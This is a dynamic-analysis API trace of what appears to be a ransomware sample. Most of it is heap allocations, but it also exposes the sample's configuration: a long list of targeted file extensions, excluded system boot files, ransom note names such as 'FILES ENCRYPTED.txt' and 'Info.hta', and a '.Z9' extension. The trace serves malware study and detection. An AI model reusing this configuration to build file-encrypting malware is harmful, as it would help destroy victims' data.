	[0063.851] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x588840
	[0063.851] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x588948
	[0063.851] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x588918
	[0063.851] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x5889c0
	[0063.851] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x588960
	[0063.851] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xc) returned 0x588768
	[0063.851] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xc) returned 0x588978
	[0063.851] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x5888d0
	[0063.851] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x5889d8
	[0063.851] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x5888b8
	[0063.851] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xc) returned 0x588798
	[0063.851] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x5887b0
	[0063.851] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x5887c8
	[0063.851] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x5887e0
	[0063.851] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x5887f8
	[0063.851] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x5889f0
	[0063.851] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x588870
	[0063.851] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x588888
	[0063.851] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x8) returned 0x53f0c8
	[0063.851] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x6) returned 0x53f1f8
	[0063.851] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x588a08
	[0063.851] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x588990
	[0063.851] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x588a20
	[0063.851] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x588930
	[0063.851] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x588810
	[0063.851] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xc) returned 0x588750
	[0063.851] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x5889a8
	[0063.851] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x588900
	[0063.851] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x588828
	[0063.851] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x5892a0
	[0063.851] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xc) returned 0x589270
	[0063.851] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x589468
	[0063.851] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x589480
	[0063.851] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x545000, Size=0x400) returned 0x545000
	[0063.851] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x589498
	[0063.851] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x589360
	[0063.851] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xc) returned 0x589288
	[0063.851] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x589408
	[0063.852] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x589318
	[0063.852] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x589348
	[0063.852] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xc) returned 0x589420
	[0063.852] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x5894b0
	[0063.852] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x5893f0
	[0063.852] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x5894c8
	[0063.852] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x8) returned 0x53f148
	[0063.852] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x589438
	[0063.852] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xc) returned 0x5892e8
	[0063.852] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x589378
	[0063.852] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x5892b8
	[0063.852] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x589390
	[0063.852] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x589510
	[0063.852] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xe) returned 0x5894e0
	[0063.852] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x5894f8
	[0063.852] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x589528
	[0063.852] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x5892d0
	[0063.852] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x589540
	[0063.852] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x589330
	[0063.852] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x589258
	[0063.852] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x589300
	[0063.852] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x589450
	[0063.852] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x8) returned 0x53f068
	[0063.852] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x5893a8
	[0063.852] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x5893c0
	[0063.852] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x5893d8
	[0063.852] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x589570
	[0063.852] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x5895b8
	[0063.852] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x589558
	[0063.852] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x5896a8
	[0063.852] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x589618
	[0063.852] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x5896c0
	[0063.852] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xe) returned 0x589588
	[0063.852] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x5896f0
	[0063.852] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xe) returned 0x589648
	[0063.852] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x589660
	[0063.852] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x5895a0
	[0063.852] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x5895d0
	[0063.852] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x5896d8
	[0063.852] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x589708
	[0063.853] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xc) returned 0x589678
	[0063.853] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x589690
	[0063.853] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x5895e8
	[0063.853] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x589600
	[0063.853] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x589630
	[0063.853] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x589000
	[0063.853] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x589030
	[0063.853] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x589078
	[0063.853] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x588fa0
	[0063.853] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x589120
	[0063.853] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x589228
	[0063.853] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x589180
	[0063.853] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x5891e0
	[0063.853] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x589168
	[0063.853] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x589048
	[0063.853] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x5890c0
	[0063.853] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x5891c8
	[0063.853] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x5891f8
	[0063.853] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x10) returned 0x5890d8
	[0063.853] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x12) returned 0x516738
	[0063.853] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x5890f0
	[0063.853] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x589198
	[0063.853] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x589138
	[0063.853] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x589108
	[0063.853] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x589150
	[0063.853] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x588fb8
	[0063.853] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x589210
	[0063.853] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x5891b0
	[0063.853] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x589018
	[0063.853] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x589240
	[0063.853] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x588f58
	[0063.853] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x588f70
	[0063.853] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x588f88
	[0063.853] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x588fd0
	[0063.853] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x588fe8
	[0063.853] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x589060
	[0063.853] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x589090
	[0063.853] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x5890a8
	[0063.853] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x589838
	[0063.853] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x589790
	[0063.853] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xc) returned 0x5897f0
	[0063.854] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xc) returned 0x589850
	[0063.854] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xc) returned 0x589808
	[0063.854] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xe) returned 0x5898b0
	[0063.854] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xc) returned 0x5899e8
	[0063.854] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x8) returned 0x53f0e8
	[0063.854] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x589820
	[0063.854] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x8) returned 0x53f0f8
	[0063.854] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x5898e0
	[0063.854] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x589970
	[0063.854] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x5899d0
	[0063.854] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xc) returned 0x5899a0
	[0063.854] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xc) returned 0x589910
	[0063.854] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x5897a8
	[0063.854] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xc) returned 0x589778
	[0063.854] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x589a18
	[0063.854] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x589760
	[0063.854] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xc) returned 0x5898c8
	[0063.854] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x5898f8
	[0063.854] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xc) returned 0x5897c0
	[0063.854] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xc) returned 0x589a30
	[0063.854] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x5897d8
	[0063.854] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x8) returned 0x53f108
	[0063.854] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x589898
	[0063.854] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x589928
	[0063.854] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x545000, Size=0x800) returned 0x589f38
	[0063.854] lstrlenW (lpString=".1cd;.3ds;.3fr;.3g2;.3gp;.7z;.accda;.accdb;.accdc;.accde;.accdt;.accdw;.adb;.adp;.ai;.ai3;.ai4;.ai5;.ai6;.ai7;.ai8;.anim;.arw;.as;.asa;.asc;.ascx;.asm;.asmx;.asp;.aspx;.asr;.asx;.avi;.avs;.backup;.bak;.bay;.bd;.bin;.bmp;.bz2;.c;.cdr;.cer;.cf;.cfc;.cfm;.cfml;.cfu;.chm;.cin;.class;.clx;.config;.cpp;.cr2;.crt;.crw;.cs;.css;.csv;.cub;.dae;.dat;.db;.dbf;.dbx;.dc3;.dcm;.dcr;.der;.dib;.dic;.dif;.divx;.djvu;.dng;.doc;.docm;.docx;.dot;.dotm;.dotx;.dpx;.dqy;.dsn;.dt;.dtd;.dwg;.dwt;.dx;.dxf;.edml;.efd;.elf;.emf;.emz;.epf;.eps;.epsf;.epsp;.erf;.exr;.f4v;.fido;.flm;.flv;.frm;.fxg;.geo;.gif;.grs;.gz;.h;.hdr;.hpp;.hta;.htc;.htm;.html;.icb;.ics;.iff;.inc;.indd;.ini;.iqy;.j2c;.j2k;.java;.jp2;.jpc;.jpe;.jpeg;.jpf;.jpg;.jpx;.js;.jsf;.json;.jsp;.kdc;.kmz;.kwm;.lasso;.lbi;.lgf;.lgp;.log;.m1v;.m4a;.m4v;.max;.md;.mda;.mdb;.mde;.mdf;.mdw;.mef;.mft;.mfw;.mht;.mhtml;.mka;.mkidx;.mkv;.mos;.mov;.mp3;.mp4;.mpeg;.mpg;.mpv;.mrw;.msg;.mxl;.myd;.myi;.nef;.nrw;.obj;.odb;.odc;.odm;.odp;.ods;.oft;.one;.onepkg;.onetoc2;.opt;.oqy;.orf;.p12;.p7b;.p7c;.pam;.pbm;.pct;.pcx;.pdd;.pdf;.pdp;.pef;.pem;.pff;.pfm;.pfx;.pgm;.php;.php3;.php4;.php5;.phtml;.pict;.pl;.pls;.pm;.png;.pnm;.pot;.potm;.potx;.ppa;.ppam;.ppm;.pps;.ppsm;.ppt;.pptm;.pptx;.prn;.ps;.psb;.psd;.pst;.ptx;.pub;.pwm;.pxr;.py;.qt;.r3d;.raf;.rar;.raw;.rdf;.rgbe;.rle;.rqy;.rss;.rtf;.rw2;.rwl;.safe;.sct;.sdpx;.shtm;.shtml;.slk;.sln;.sql;.sr2;.srf;.srw;.ssi;.st;.stm;.svg;.svgz;.swf;.tab;.tar;.tbb;.tbi;.tbk;.tdi;.tga;.thmx;.tif;.tiff;.tld;.torrent;.tpl;.txt;.u3d;.udl;.uxdc;.vb;.vbs;.vcs;.vda;.vdr;.vdw;.vdx;.vrp;.vsd;.vss;.vst;.vsw;.vsx;.vtm;.vtml;.vtx;.wb2;.wav;.wbm;.wbmp;.wim;.wmf;.wml;.wmv;.wpd;.wps;.x3f;.xl;.xla;.xlam;.xlk;.xlm;.xls;.xlsb;.xlsm;.xlsx;.xlt;.xltm;.xltx;.xlw;.xml;.xps;.xsd;.xsf;.xsl;.xslt;.xsn;.xtp;.xtp2;.xyze;.xz;.zip;") returned 1776
	[0063.854] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x587718 | out: hHeap=0x500000) returned 1
	[0063.854] lstrlenW (lpString="") returned 0
	[0063.854] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x58ad58 | out: hHeap=0x500000) returned 1
	[0063.854] lstrlenW (lpString=".Z9") returned 3
	[0063.855] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x53f228, Size=0x8) returned 0x53f318
	[0063.855] lstrlenW (lpString=".Z9") returned 3
	[0063.855] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x58ac20 | out: hHeap=0x500000) returned 1
	[0063.855] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x58ace0, Size=0x20) returned 0x53eba8
	[0063.855] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x53eba8, Size=0x40) returned 0x51a060
	[0063.855] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x51a060, Size=0x80) returned 0x587150
	[0063.855] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x53f228, Size=0x8) returned 0x53f3e8
	[0063.855] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x53f3e8, Size=0x10) returned 0x58aaa0
	[0063.855] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x58aaa0, Size=0x20) returned 0x53e8b0
	[0063.855] lstrlenW (lpString="boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;") returned 48
	[0063.855] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x587150 | out: hHeap=0x500000) returned 1
	[0063.855] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x58ace0, Size=0x20) returned 0x53ea40
	[0063.855] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x53ea40, Size=0x40) returned 0x51a330
	[0063.855] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19
	[0063.855] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19
	[0063.855] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x51a330 | out: hHeap=0x500000) returned 1
	[0063.855] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x58ac98, Size=0x20) returned 0x53ed10
	[0063.855] lstrlenW (lpString="Info.hta") returned 8
	[0063.855] lstrlenW (lpString="Info.hta") returned 8
	[0063.855] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x53ed10 | out: hHeap=0x500000) returned 1
	[0063.855] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x566718, nSize=0x7fff | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe")) returned 0x52
	[0063.855] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x566718 | out: hHeap=0x500000) returned 1
	[0063.856] lstrlenW (lpString="dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe") returned 58
	[0063.856] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x53e8b0, Size=0x40) returned 0x51a5b8
	[0063.856] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x58aae8, Size=0x20) returned 0x53ed38
	[0063.857] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x58ac98, Size=0x20) returned 0x53eb30
	[0063.857] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x53eb30, Size=0x40) returned 0x51a600
	[0063.857] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x51a600, Size=0x80) returned 0x586f30
	[0063.857] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x586f30, Size=0x100) returned 0x545000
	[0063.857] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69
	[0063.857] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x545000 | out: hHeap=0x500000) returned 1
	[0063.857] ExpandEnvironmentStringsW (in: lpSrc="%windir%;", lpDst=0x566718, nSize=0x8000 | out: lpDst="C:\\WINDOWS;") returned 0xc
	[0063.857] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x58af48 | out: hHeap=0x500000) returned 1
	[0063.858] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x566718 | out: hHeap=0x500000) returned 1
	[0063.859] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x53f298, Size=0x8) returned 0x53f3a8
	[0063.859] lstrlenW (lpString="%windir%;") returned 9
	[0063.859] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x53ed38 | out: hHeap=0x500000) returned 1
	[0063.859] lstrlenW (lpString="C:\\WINDOWS;") returned 11
	[0063.859] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x556710 | out: hHeap=0x500000) returned 1
	[0063.860] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x58ac98, Size=0x20) returned 0x53ebd0
	[0063.860] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x53ebd0, Size=0x40) returned 0x51a2e8
	[0063.860] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x51a2e8, Size=0x80) returned 0x5867c0
	[0063.860] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x5867c0, Size=0x100) returned 0x545000
	[0063.860] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x53f358, Size=0x8) returned 0x53f338
	[0063.860] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x53f338, Size=0x10) returned 0x58ab00
	[0063.860] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x58ab00, Size=0x20) returned 0x53e9f0
	[0063.860] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x53f2d8, Size=0x8) returned 0x53f3c8
	[0063.860] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x53f328, Size=0x8) returned 0x53f3d8
	[0063.860] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x53f2d8, Size=0x8) returned 0x53f408
	[0063.860] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x53f408, Size=0x10) returned 0x58ac98
	[0063.860] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x58ac98, Size=0x20) returned 0x53ed10
	[0063.860] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x53f3c8, Size=0x10) returned 0x58ab00
	[0063.860] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x53f3d8, Size=0x10) returned 0x58ab18
	[0063.860] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x53f328, Size=0x8) returned 0x53f278
	[0063.860] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x53f398, Size=0x8) returned 0x53f2b8
	[0063.860] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x58ab00, Size=0x20) returned 0x53eae0
	[0063.861] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x58ab18, Size=0x20) returned 0x53ea68
	[0063.861] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x53f428, Size=0x8) returned 0x53f2c8
	[0063.861] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91
	[0063.861] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x545000 | out: hHeap=0x500000) returned 1
	[0063.861] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x58ab18, Size=0x20) returned 0x53ed38
	[0063.861] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%", lpDst=0x58af48, nSize=0x7fff | out: lpDst="C:") returned 0x3
	[0063.861] lstrlenW (lpString="C:\\") returned 3
	[0063.861] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x19fca4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x19fca4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0063.861] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x58af48 | out: hHeap=0x500000) returned 1
	[0063.862] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x53f338, Size=0x82) returned 0x545090
	[0063.862] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x53f2e8, Size=0x100) returned 0x545120
	[0063.862] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x545228, Size=0x104) returned 0x545348
	[0063.862] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x586ea8, Size=0x100) returned 0x587718
	[0063.862] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x545090, Size=0x104) returned 0x587820
	[0063.862] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x545120, Size=0x200) returned 0x587930
	[0063.863] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x53f2d8 | out: hHeap=0x500000) returned 1
	[0063.863] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x587930 | out: hHeap=0x500000) returned 1
	[0063.863] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x58aec0 | out: hHeap=0x500000) returned 1
	[0063.863] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x586fb8 | out: hHeap=0x500000) returned 1
	[0063.863] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x58ae78 | out: hHeap=0x500000) returned 1
	[0063.863] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x586af0 | out: hHeap=0x500000) returned 1
	[0063.863] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x58aea8 | out: hHeap=0x500000) returned 1
	[0063.863] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x587820 | out: hHeap=0x500000) returned 1
	[0063.863] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x58ae90 | out: hHeap=0x500000) returned 1
	[0063.863] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x545348 | out: hHeap=0x500000) returned 1
	[0063.863] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x58af08 | out: hHeap=0x500000) returned 1
	[0063.863] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x5452b8 | out: hHeap=0x500000) returned 1
